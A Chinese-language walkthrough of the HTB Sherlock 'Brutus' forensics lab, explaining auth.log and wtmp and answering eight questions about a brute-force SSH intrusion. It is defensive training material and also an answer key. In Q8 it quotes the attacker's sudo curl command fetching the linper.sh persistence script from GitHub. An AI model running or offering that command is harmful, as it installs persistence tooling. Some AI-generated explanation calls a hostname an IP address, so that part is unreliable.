Brutus
和上一次做的 Recollection 机器一样,主要学习一下相关的知识,练习一下。按照机器描述,在学习完成后将熟悉 auth.log 和 wtmp 日志
auth.log
auth.log
是 Linux 系统中一个重要的日志文件,它记录了所有与用户认证相关的行为和事件,这对于系统安全、故障排除、安全审计和监控非常关键。以下引用内容由 AI 生成。
auth.log
的日志格式通常遵循一种标准化的格式,它包含了多个字段,每个字段都包含有关事件的重要信息。一个典型的auth.log
条目可能包括以下字段:
- 时间戳:事件发生的具体日期和时间。
- 主机名:生成日志的系统的主机名。
- 进程信息:生成日志的进程的相关信息,如进程ID(PID)。
- 日志级别:事件的严重性或重要性级别,如
debug
、info
、notice
、warning
、err
、crit
、alert
、emerg
。- 程序名称:生成日志消息的程序或服务的名称,例如
sshd
。- 进程ID:生成日志消息的进程的ID。
- 消息:描述事件的文本消息,可能包括用户尝试登录的用户名、来源IP地址、使用的终端类型(tty)等。
简单看一下
以第一行为例,详细信息如下所示。分析内容由 AI 分析并生成。
Mar 6 06:18:01
:这是日志记录的时间,表示这条日志是在3月6日的06时18分01秒产生的。ip-172-31-35-28
:这是产生日志的服务器的IP地址。CRON[1119]
:表示这条日志是由cron守护进程产生的,进程ID(PID)是1119。pam_unix(cron:session)
:这表明日志是由PAM(可插拔认证模块)产生的,PAM用于Linux系统中的认证、账户管理、密码管理以及会话管理。在这里,它记录了cron的会话管理。session opened for user confluence(uid=998) by (uid=0)
:这表示为用户confluence
(用户ID为998)开启了一个会话。uid=0
通常表示root用户,这意味着是以root用户的权限开启的会话。
wtmp
以下引用内容由 AI 生成。
wtmp
是一个二进制文件,用于在 Unix 和类 Unix 系统中记录用户登录和注销事件的日志。这个文件提供了一个持久的历史记录,用于追踪系统中的用户会话。以下是关于wtmp
文件的一些要点:
二进制格式:
wtmp
文件是一个二进制文件,因此不能直接用普通文本编辑器进行查看。通常需要使用专门的命令如last
来解析和查看里面的内容。记录内容:
wtmp
记录了每个用户登录和注销的时间,以及相关的IP地址和使用的终端(TTY)。它还记录了系统的启动和关闭时间。文件位置:在大多数 Linux 系统中,
wtmp
文件通常位于/var/log/wtmp
。在某些系统中,可能存在类似的日志文件,如/var/run/utmp
,它记录当前登录的用户信息,并且会随着用户登录和注销而动态变化。查看登录历史:可以使用
last
命令来查看wtmp
文件中的信息,从而获取用户的登录历史记录。例如,运行last
命令会列出最近的登录和注销事件。系统管理:系统管理员可以利用
wtmp
文件来审计系统,检查未授权的访问尝试,分析用户登录模式,以及进行事故响应和事后分析。日志轮转:由于
wtmp
文件会随着时间不断增长,系统管理员可能需要设置日志轮转策略,以避免其无限增长占用过多磁盘空间。安全性:虽然
wtmp
提供了用户活动的记录,但它是二进制格式,可能不如文本日志文件直观。此外,由于其格式特殊,可能需要特定的工具或脚本来提取和分析信息。与其他日志的关系:
wtmp
与lastlog
和auth.log
等其他日志文件相关联。lastlog
记录了所有用户的最后登录时间,而auth.log
记录了认证相关的详细信息。系统重启和关闭:
wtmp
也记录了系统的启动和关闭事件,这可以帮助系统管理员了解系统的运行状态和任何非正常的重启情况。
TASK
Q1 分析auth.log,您能否识别攻击者用于进行暴力攻击的 IP 地址?
A :65.2.161.68
暴力攻击意味着会有大量失败的记录
grep "password" auth.log | grep Failed
Q2 暴力尝试成功,攻击者获得了对服务器上帐户的访问权限。这个账户的用户名是什么?
A : root
和刚才可以使用一样的,加一个 -v 去除 Failed 即可
Q3 您能否识别攻击者手动登录服务器以执行其目标时的时间戳?
A : 2024-03-06 06:32:45
按照第二题来看,65.2.161.68 只进行了两次登录,第一次是暴力破解,那么第二次就是手动登录,但是填写该时间却发生了错误,查看题目提示,让我们结合 wtmp 日志来确定时间,使用 utmpdump 处理 wtmp 文件并过滤 65.2.161.68 ip,看到这个时间比刚才的时间多了 1 秒钟
Q4 SSH 登录会话在登录时被跟踪并分配一个会话编号。问题 2 中分配给攻击者用户帐户会话的会话号是多少?
A :37
因为在登陆成功后,系统就会分配 session 编号,刚才已经明确登录时间,可以根据这个时间来过滤查看之后的日志
Q5 攻击者在服务器上添加了一个新用户作为其持久性策略的一部分,并授予该新用户帐户更高的权限。这个账户叫什么名字?
A :cyberjunkie
从 Q2 的结果中就可以看到,有一个 cyberjunkie 用户修改了密码,并且登录成功即可猜测这个用户就是攻击者添加的,也可以过滤 add 关键词
Q6 用于持久性的 MITRE ATT&CK 子技术 ID 是什么?
A :T1136.001
Q6 的提示是这样的“如果您已经找到了问题 5 的答案,请查阅 MITRE ATT&CK 企业矩阵,以确定持久性策略下的子技术 ID。”
点击可以看到结果
Q7 根据先前确认的身份验证时间和会话在auth.log内结束,攻击者的第一个 SSH 会话持续了多长时间?(秒)
A :279
通过过滤刚才获取的会话编号,可以查看有关 session 创建和结束的时间,从 06:32:45 到 06:37:24,共用了 279 s
Q8 攻击者登录了他们的后门帐户,并利用他们的更高权限下载了脚本。使用 sudo 执行的完整命令是什么?
A :/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
参考链接:
Matrix - Enterprise | MITRE ATT&CK®
HTB 夏洛克:布鲁图斯 |0xdf黑客的东西
如何在 Ubuntu 上监控系统身份验证日志 |数字海洋 (digitalocean.com)